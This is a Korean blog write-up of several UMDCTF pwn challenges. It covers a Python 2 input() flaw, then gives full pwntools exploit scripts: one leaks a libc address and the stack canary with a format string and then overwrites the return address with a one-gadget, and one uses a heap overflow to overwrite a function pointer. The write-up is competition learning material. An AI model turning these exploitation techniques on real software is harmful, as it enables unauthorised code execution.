접근 방법을 알 것 같은데 못 푼 문제와 접근조차 모르는 flask 관련된 문제가 나왔다
Legacy

blind rop인줄 알았다;;

traceback를 보면 python으로 작성된 것을 알 수 있고 python2 input 취약점을 활용한 문제이다
( 참고 https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/)

Classic Act

fsb로 stdout주소와 canary 릭하고 bof로 ret 주소에 oneshot 가젯 넣어서 푼 문제다

main함수에서는 단순 vuln함수를 호출한다

fsb와 bof가 터진다 payload를 작성할 때 조건문에서 strncmp로 문자열과 동일한지 검사를 수행한다
from pwn import *
p = remote("0.cloud.chals.io", 10058)
#p = process("./classicact")
e = ELF("./classicact")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
stdout_off = libc.symbols['_IO_2_1_stdout_']
oneshot_off = 0xe3b31
def leak(a):
p.recvuntil(b"0x")
leak = int(p.recv(a), 16)
return leak
p.recvuntil(b"Please enter your name!\n")
p.sendline("%12$lp %19$lp")
stdout = leak(12)
cnry = leak(16)
libc_base = stdout - stdout_off
oneshot = libc_base + oneshot_off
log.info("libc_base: " + hex(libc_base))
log.info("oneshot: " + hex(oneshot))
log.info("canary: " + hex(cnry))
log.info("stdout: " + hex(stdout))
payload = b"Play in UMDCTF!\x00"
payload += b"A" * 0x38
payload += p64(cnry)
payload += b"A" * 8
payload += p64(oneshot)
p.recvuntil(b"What would you like to do today?\n")
p.sendline(payload)
p.interactive()
리모트 환경이 로컬 환경과 동일해서 편하게 로컬 라이브러리 사용했다

The Show Must Go On

단순 힙오버 플로우 내서 기존에 실행된 함수 주소를 플레그를 출력 시키는 함수로 덮으면 되는 문제


setup함수에서는 힙을 할당하고 메시지를 출력하고 호출할 함수인 tellAjoke함수를 mainAct+96에 저장한다

이후에 message1과 message3를 free하는데 malloc_set을 통해 원하는 값 + 8 크기만큼의 힙을 할당받을 수 있다
그리고 fgets를 통해 할당받은 힙에서부터 500byte데이터를 입력받아 힙 오버 플로우가 발생한다

whatToDo함수에서는 switch문이 있는데 case 1에서 currenAct + 96에 위치한 함수를 호출한다
currentAct는 setup함수에서 mainAct의 주소를 저장하였다

그래서 main+96이전에 message3의 freed chunk의 크기만큼 재할당 받고 fgets에서 오버플로우는 내서 mainAct+96 위치에 위의 win함수를 넣어서 flag를 출력시키도록 해주면 된다
from pwn import *
p = remote("0.cloud.chals.io", 30138)
#p = process("./theshow")
win = 0x400bed
p.recvuntil(b" name of your act?\n")
p.sendline(b"A")
p.recvuntil(b"do you want the show description to be?\n")
p.sendline(b"120")
payload = b"A" * 0xf0
payload += p64(win)
p.recvuntil(b"or us:\n")
p.sendline(payload)
p.recvuntil(b"Action: ")
p.sendline(b"1")
p.interactive()

'CTF' 카테고리의 다른 글
UTCTF 2022 / smol (0) | 2022.03.14 |
---|---|
1337UP LIVE CTF 2022 후기 (0) | 2022.03.13 |
FOOBAR 2022 후기 (0) | 2022.03.05 |
test (0) | 2021.08.29 |
PWN / fake_canary (0) | 2021.07.31 |